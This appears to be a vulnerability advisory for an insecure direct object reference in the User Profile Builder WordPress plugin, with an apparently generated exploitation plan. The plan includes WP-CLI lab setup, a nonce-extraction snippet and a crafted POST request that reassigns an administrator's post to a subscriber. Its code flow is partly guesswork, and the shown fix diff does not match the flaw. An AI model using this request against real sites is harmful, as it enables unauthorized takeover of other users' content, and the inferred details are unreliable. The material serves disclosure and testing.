User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor <= 3.15.5 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Post Author Reassignment via Avatar Field
Description
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 3.15.5 via the wppb_save_avatar_value() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to reassign ownership of arbitrary posts and attachments by changing 'post_author'.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.15.5What Changed in the Fix
Changes introduced in v3.15.6
Source Code
WordPress.org SVNThis plan outlines the research and exploitation process for **CVE-2026-3139**, an Insecure Direct Object Reference (IDOR) vulnerability in the **User Profile Builder** plugin. The vulnerability allows authenticated users (Subscriber level and above) to reassign the ownership of arbitrary WordPress …
Show full research plan
This plan outlines the research and exploitation process for CVE-2026-3139, an Insecure Direct Object Reference (IDOR) vulnerability in the User Profile Builder plugin. The vulnerability allows authenticated users (Subscriber level and above) to reassign the ownership of arbitrary WordPress posts or attachments to themselves by manipulating the Avatar field during a profile update.
1. Vulnerability Summary
- Vulnerability: Insecure Direct Object Reference (IDOR)
- Affected Function:
wppb_save_avatar_value()(likely located infront-end/extra-fields/avatar/avatar.phporfront-end/edit-profile.php) - Root Cause: The function
wppb_save_avatar_value()processes user-submitted avatar data. It likely accepts an attachment ID or post ID from a request parameter and updates thepost_authorof that ID to the current user's ID without verifying that the user owns the post or that the post is actually an uploaded avatar. - Impact: Arbitrary Post/Attachment takeover. An attacker can become the author of any post, page, or media item, potentially gaining the ability to edit or delete it depending on their role's capabilities over their own posts.
2. Attack Vector Analysis
- Endpoint: The Edit Profile page (frontend) generated by the
[wppb-edit-profile]shortcode. - Method:
POSTrequest to the page URL containing the edit profile form. - Vulnerable Parameter: The field associated with the "Avatar" type. Based on standard Profile Builder naming conventions, this is typically
hidden_avatar_attachment_id_{field_id}oravatar_{field_id}. - Authentication: Subscriber level or higher is required.
- Precondition: An "Avatar" field must be added to the Profile Builder form fields (Manage Form Fields).
3. Code Flow (Inferred)
- Entry Point: A user submits the Edit Profile form.
- Hook: The plugin triggers the profile update logic, often hooked to
profile_updateor via its ownwppb_edit_profileprocessing logic. - Field Processing: The plugin iterates through the defined fields. For the "Avatar" field type, it calls
wppb_save_avatar_value(). - Vulnerable Logic:
- The function retrieves a post ID from the
$_POSTarray (e.g., an attachment ID intended to be the avatar). - It calls
wp_update_post()or a similar database operation. - It sets
'post_author' => $current_user_idfor the provided ID.
- The function retrieves a post ID from the
- Sink:
wp_update_post( array( 'ID' => $user_provided_id, 'post_author' => $attacker_user_id ) ).
4. Nonce Acquisition Strategy
The Edit Profile form is protected by a WordPress nonce.
- Identify Shortcode: The plugin uses
[wppb-edit-profile]to display the edit profile form. - Create Setup Page: Use WP-CLI to create a page with this shortcode.
- Navigate and Extract:
- Log in as a Subscriber.
- Navigate to the created page using
browser_navigate. - The nonce is usually in a hidden input field named
_wpnonceorwppb_edit_profile_nonce. - JS Extraction:
// Check for common Profile Builder nonce locations document.querySelector('input[name="_wpnonce"]')?.value || document.querySelector('input[name="wppb_edit_profile_nonce"]')?.value
5. Test Data Setup
- Target Content: Create a post as the Administrator (ID will be the target).
wp post create --post_type=post --post_title="Sensitive Post" --post_status=publish --post_author=1(Note the returned ID, e.g.,123).
- Attacker User: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Plugin Config: Ensure an "Avatar" field exists.
wp eval "wppb_fields_list();"to check existing fields.- If missing, add it (usually requires
wppb_manage_fieldsoption manipulation or using the admin UI).
- Form Page:
wp post create --post_type=page --post_title="Edit Profile" --post_content='[wppb-edit-profile]' --post_status=publish
6. Exploitation Strategy
Step 1: Discover Field ID
Navigate to the Edit Profile page as the Subscriber and find the name attribute of the Avatar field. It usually looks like avatar_nn or hidden_avatar_attachment_id_nn.
Step 2: Craft the Takeover Request
Perform a POST request to the Edit Profile page URL.
- URL:
http://localhost:8080/edit-profile/ - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action: (If applicable, though Profile Builder often processes viainit)wppb_edit_profile:truewppb_edit_profile_nonce:[EXTRACTED_NONCE][AVATAR_FIELD_NAME]:[TARGET_POST_ID](The ID of the Admin's post)username:attackeremail:attacker@example.com
Step 3: Execution via http_request
{
"method": "POST",
"url": "http://localhost:8080/index.php/edit-profile/",
"params": {
"wppb_edit_profile": "true",
"wppb_edit_profile_nonce": "a1b2c3d4e5",
"avatar_5": "123",
"email": "attacker@example.com",
"nickname": "attacker"
}
}
(Note: avatar_5 is an example; the exact field ID must be found in the HTML source.)
7. Expected Results
- The plugin will process the update.
- Because
wppb_save_avatar_value()does not verify that$_POST['avatar_5'](ID 123) is an attachment belonging to the user, it will execute an update command on Post 123. - The
post_authorof Post 123 will be changed from1(Admin) to the Attacker's User ID.
8. Verification Steps
After the exploit, use WP-CLI to verify the change in ownership:
- Check Post Author:
wp post get 123 --field=post_author- Success Condition: The output matches the Attacker's User ID.
- Check Metadata (Optional):
wp post meta list 123(To see if any avatar-specific meta was incorrectly added to the post).
9. Alternative Approaches
- Attachment Takeover: Instead of a post, target an attachment ID (
post_type=attachment) belonging to the Admin. This is often easier to hide. - Backend Profile Update: If the vulnerability exists in
admin/admin-functions.php(as suggested by the source file list), the exploit might be triggered via/wp-admin/profile.phpif the plugin injects its fields there. - AJAX Endpoint: Check if the avatar upload/save is handled via
wp_ajax_wppb_save_avatar. If so, the request would go toadmin-ajax.phpwith theactionparameter.
Summary
The User Profile Builder plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the `wppb_save_avatar_value()` function. Authenticated attackers with subscriber-level access and above can reassign ownership of arbitrary posts or attachments to themselves by manipulating the avatar attachment ID parameter during a profile update.
Security Fix
@@ -8,7 +8,7 @@ return false; } - var updateFields = ['Default - Name (Heading)', 'Default - Contact Info (Heading)', 'Default - About Yourself (Heading)', 'Default - Username', 'Default - First Name', 'Default - Last Name', 'Default - Nickname', 'Default - E-mail', 'Default - Website', 'Default - AIM', 'Default - Yahoo IM', 'Default - Jabber / Google Talk', 'Default - Password', 'Default - Repeat Password', 'Default - Biographical Info', 'Default - Display name publicly as', 'Heading', 'Input', 'Textarea', 'WYSIWYG', 'Select', 'Datepicker', 'Select (Multiple)', 'Checkbox', 'Radio', 'Upload', 'Phone', 'Timepicker', 'Colorpicker', 'Validation', 'Select (User Role)', 'Select (CPT)', 'Select (Timezone)', 'Select (Country)', 'Select (Currency)', 'Email', 'URL', 'GDPR Checkbox', 'GDPR Delete Button', 'Map', 'Number', 'Avatar', 'Input (Hidden)', 'Language', 'HTML', 'Select2', 'Checkbox (Terms and Conditions)', 'reCAPTCHA', 'Select2 (Multiple)', 'Honeypot', 'Email Confirmation' ]; + var updateFields = ['Default - Name (Heading)', 'Default - Contact Info (Heading)', 'Default - About Yourself (Heading)', 'Default - Username', 'Default - First Name', 'Default - Last Name', 'Default - Nickname', 'Default - E-mail', 'Default - Website', 'Default - AIM', 'Default - Yahoo IM', 'Default - Jabber / Google Talk', 'Default - Password', 'Default - Repeat Password', 'Default - Biographical Info', 'Default - Display name publicly as', 'Heading', 'Input', 'Textarea', 'WYSIWYG', 'Select', 'Datepicker', 'Select (Multiple)', 'Checkbox', 'Radio', 'Upload', 'Phone', 'Timepicker', 'Colorpicker', 'Validation', 'Select (User Role)', 'Select (CPT)', 'Select (Timezone)', 'Select (Country)', 'Select (Currency)', 'Email', 'URL', 'GDPR Checkbox', 'GDPR Delete Button', 'Map', 'Number', 'Avatar', 'Input (Hidden)', 'International Telephone Input','Language', 'HTML', 'Select2', 'Checkbox (Terms and Conditions)', 'reCAPTCHA', 'Select2 (Multiple)', 'Honeypot', 'Email Confirmation' ]; for( var i = 0; i < updateFields.length; i++ ) { fields[ updateFields[i] ]['show_rows'].push( '.row-class-field' ); ... (truncated)
Exploit Outline
1. Authenticate to the WordPress site as a Subscriber-level user. 2. Navigate to a page containing the frontend profile edit form (generated by the `[wppb-edit-profile]` shortcode). 3. Inspect the form to find the field name corresponding to the Avatar (e.g., `avatar_5` or `hidden_avatar_attachment_id_5`) and extract the CSRF nonce (e.g., `_wpnonce` or `wppb_edit_profile_nonce`). 4. Identify a target post ID or attachment ID that belongs to another user (e.g., an Administrator's post). 5. Submit a POST request to the profile update endpoint with the `wppb_edit_profile` parameter set to `true`, the extracted nonce, and the avatar field parameter set to the target post ID. 6. The plugin processes the update and, because it lacks authorization checks on the avatar ID, executes an update setting the `post_author` of the target ID to the attacker's user ID.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.